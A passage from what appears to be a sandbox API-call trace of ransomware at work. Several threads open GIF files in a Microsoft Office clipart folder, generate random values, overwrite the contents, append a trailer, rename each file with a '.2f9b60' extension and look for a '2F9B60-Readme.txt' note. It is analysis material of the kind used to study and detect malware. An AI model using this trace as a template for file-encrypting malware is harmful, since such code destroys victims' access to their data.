NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\9ab2dbb32857.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118d60 [0116.559] NtSetInformationFile (FileHandle=0x1784, IoStatusBlock=0x3a14fc30, FileInformation=0x118d60, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118d60) returned 1 [0117.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49620) returned 1 [0117.111] NtQueryInformationFile (in: FileHandle=0x1784, IoStatusBlock=0x3a14fbf8, FileInformation=0x3a14fc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a14fbf8, FileInformation=0x3a14fc08) returned 0x0 [0117.111] NtSetInformationFile (FileHandle=0x1784, IoStatusBlock=0x3a14fbf8, FileInformation=0x3a14fc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ba00) returned 1 [0117.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced91d0) returned 1 [0117.115] FlushFileBuffers (hFile=0x1784) returned 1 [0117.120] CloseHandle (hObject=0x1784) returned 1 [0117.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050bed0 [0117.121] wcscpy (in: _Dest=0x2050bed0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.121] wcscat (in: _Dest=0x2050bed0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bed0) returned 1 [0117.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8623b0) returned 1 Thread: id = 1267 os_tid = 0xda4 [0115.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif")) returned 0x20 [0116.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF", dwFileAttributes=0x20) returned 1 [0116.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x178c [0116.367] GetFileSizeEx (in: hFile=0x178c, lpFileSize=0x3a37fd60 | out: lpFileSize=0x3a37fd60*=1042) returned 1 [0116.367] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x40e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.367] ReadFile (in: hFile=0x178c, lpBuffer=0x3a37fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a37fd28, lpOverlapped=0x0 | out: lpBuffer=0x3a37fce0*, lpNumberOfBytesRead=0x3a37fd28*=0x4, lpOverlapped=0x0) returned 1 [0116.388] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0116.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0116.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0116.388] NtQuerySystemTime (in: CurrentTime=0x3a37fc20 | out: CurrentTime=0x3a37fc20*=132462177218434000) returned 0x0 [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x6e94af1e [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x1ecf8fce [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x433ded17 [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x9c76f0e [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x4f7fb415 [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x1cf23bd3 [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x19f756ec [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x231007ca [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x83d49e4 [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x5468c3d7 [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x66ef0ed5 [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x5ab214d3 [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x4cb867fe [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x36b5df58 [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x7eb20501 [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x1887b290 [0116.388] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x243a2825 [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x69719b8 [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x1b08afdd [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x7a08e528 [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x20ace3c9 [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x1d63c5ed [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x5dbdcf1f [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x1d811c57 [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x6b5fe2e2 [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x4abc0d9f [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x68ac4639 [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x6abaa878 [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x46bb62c6 [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x7ed39e5 [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x48ae5531 [0116.389] RtlRandomEx (in: Seed=0x3a37fc10 | out: Seed=0x3a37fc10) returned 0x7f8edba8 [0116.401] ReadFile (in: hFile=0x178c, lpBuffer=0x20180d80, nNumberOfBytesToRead=0x412, lpNumberOfBytesRead=0x3a37fc10, lpOverlapped=0x0 | out: lpBuffer=0x20180d80*, lpNumberOfBytesRead=0x3a37fc10*=0x412, lpOverlapped=0x0) returned 1 [0116.402] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.402] WriteFile (in: hFile=0x178c, lpBuffer=0x20166910*, nNumberOfBytesToWrite=0x412, lpNumberOfBytesWritten=0x3a37fc14, lpOverlapped=0x0 | out: lpBuffer=0x20166910*, lpNumberOfBytesWritten=0x3a37fc14*=0x412, lpOverlapped=0x0) returned 1 [0116.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260320 [0116.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262bd0 [0116.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262bd0) returned 1 [0116.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20166910) returned 1 [0116.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20180d80) returned 1 [0116.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 [0116.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0116.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262bd0 [0116.658] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.659] WriteFile (in: hFile=0x178c, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a37fd30, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x3a37fd30*=0x10a, lpOverlapped=0x0) returned 1 [0116.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0116.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263500) returned 1 [0116.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0116.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263440 [0116.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263440) returned 1 [0116.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0116.952] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="b6") returned 2 [0116.952] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="f6") returned 2 [0116.952] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="53") returned 2 [0116.952] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="d4") returned 2 [0116.952] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="06") returned 2 [0116.952] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="45") returned 2 [0116.952] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="62") returned 2 [0116.952] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="06") returned 2 [0116.952] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="f9") returned 2 [0116.952] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="97") returned 2 [0116.952] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="9c") returned 2 [0116.952] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="8f") returned 2 [0116.952] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="3c") returned 2 [0116.952] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="26") returned 2 [0116.953] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="6f") returned 2 [0116.953] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="80") returned 2 [0116.953] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="27") returned 2 [0116.953] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="e8") returned 2 [0116.953] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="65") returned 2 [0116.953] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="90") returned 2 [0116.953] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="35") returned 2 [0116.953] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="e1") returned 2 [0116.953] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="e4") returned 2 [0116.953] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="2a") returned 2 [0116.953] RtlInitAnsiString (in: DestinationString=0x3a37fda8, SourceString="b6f653d406456206f9979c8f3c266f8027e8659035e1e42a" | out: DestinationString="b6f653d406456206f9979c8f3c266f8027e8659035e1e42a") [0116.953] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a37fd78, SourceString="b6f653d406456206f9979c8f3c266f8027e8659035e1e42a", AllocateDestinationString=1 | out: DestinationString="b6f653d406456206f9979c8f3c266f8027e8659035e1e42a") returned 0x0 [0116.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9240 [0116.953] wcscat (in: _Dest=0x2050c870, _Source="b6f653d40645" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b6f653d40645") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b6f653d40645" [0116.953] wcscat (in: _Dest=0x2050c870, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b6f653d40645.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b6f653d40645.2f9b60" [0116.954] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b6f653d40645.2f9b60", NtPathName=0x3a37fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\b6f653d40645.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118c90 [0116.954] NtSetInformationFile (FileHandle=0x178c, IoStatusBlock=0x3a37fdf0, FileInformation=0x118c90, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118c90) returned 1 [0117.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48270) returned 1 [0117.122] NtQueryInformationFile (in: FileHandle=0x178c, IoStatusBlock=0x3a37fdb8, FileInformation=0x3a37fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a37fdb8, FileInformation=0x3a37fdc8) returned 0x0 [0117.122] NtSetInformationFile (FileHandle=0x178c, IoStatusBlock=0x3a37fdb8, FileInformation=0x3a37fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c870) returned 1 [0117.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9240) returned 1 [0117.124] FlushFileBuffers (hFile=0x178c) returned 1 [0117.126] CloseHandle (hObject=0x178c) returned 1 [0117.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050c870 [0117.127] wcscpy (in: _Dest=0x2050c870, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.127] wcscat (in: _Dest=0x2050c870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c870) returned 1 [0117.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 Thread: id = 1268 os_tid = 0xdac [0115.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif")) returned 0x20 [0116.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", dwFileAttributes=0x20) returned 1 [0116.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x149c [0116.363] GetFileSizeEx (in: hFile=0x149c, lpFileSize=0x3a2ff8c0 | out: lpFileSize=0x3a2ff8c0*=7039) returned 1 [0116.363] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x1b7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.363] ReadFile (in: hFile=0x149c, lpBuffer=0x3a2ff840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a2ff888, lpOverlapped=0x0 | out: lpBuffer=0x3a2ff840*, lpNumberOfBytesRead=0x3a2ff888*=0x4, lpOverlapped=0x0) returned 1 [0116.430] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0116.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0116.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c90 [0116.431] NtQuerySystemTime (in: CurrentTime=0x3a2ff780 | out: CurrentTime=0x3a2ff780*=132462177218902000) returned 0x0 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x22195094 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x6d886f4e [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x67e8aade [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x2cc129da [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x6ce70a12 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x11a99e0e [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x7e8eb40b [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x5d7f7fdf [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x3cc4c975 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x73e95c86 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x2c9be328 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x754b830c [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x61cf97bb [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x8df738b [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x4cd6ab2c [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x1b19f24b [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x4588b20 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x526a0cc6 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x59977e47 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x5ad04eb2 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x4e273338 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x606390e8 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x58b572d0 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x1963a236 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x9f5c152 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x63bbd6ba [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x7151eda8 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x7f48de2 [0116.431] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x1f675490 [0116.432] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x3ace3ffe [0116.432] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x5fbe39cb [0116.432] RtlRandomEx (in: Seed=0x3a2ff770 | out: Seed=0x3a2ff770) returned 0x5aac0de0 [0116.442] ReadFile (in: hFile=0x149c, lpBuffer=0x41b93cc0, nNumberOfBytesToRead=0x1b7f, lpNumberOfBytesRead=0x3a2ff770, lpOverlapped=0x0 | out: lpBuffer=0x41b93cc0*, lpNumberOfBytesRead=0x3a2ff770*=0x1b7f, lpOverlapped=0x0) returned 1 [0116.545] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.545] WriteFile (in: hFile=0x149c, lpBuffer=0x41b978d0*, nNumberOfBytesToWrite=0x1b7f, lpNumberOfBytesWritten=0x3a2ff774, lpOverlapped=0x0 | out: lpBuffer=0x41b978d0*, lpNumberOfBytesWritten=0x3a2ff774*=0x1b7f, lpOverlapped=0x0) returned 1 [0116.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202620c0 [0116.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b90 [0116.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b90) returned 1 [0116.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b978d0) returned 1 [0116.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b93cc0) returned 1 [0116.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868440) returned 1 [0116.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0116.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263b90 [0116.661] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.661] WriteFile (in: hFile=0x149c, lpBuffer=0x167a60*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a2ff890, lpOverlapped=0x0 | out: lpBuffer=0x167a60*, lpNumberOfBytesWritten=0x3a2ff890*=0x10a, lpOverlapped=0x0) returned 1 [0116.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0116.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e90) returned 1 [0116.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0116.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0116.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0116.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0116.959] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="fd") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="8d") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="4c") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="ab") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="40") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="31") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="61") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="4c") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="d0") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="6f") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="7a") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="ac") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="80") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="76") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="21") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="92") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="54") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="39") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="54") returned 2 [0116.959] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: 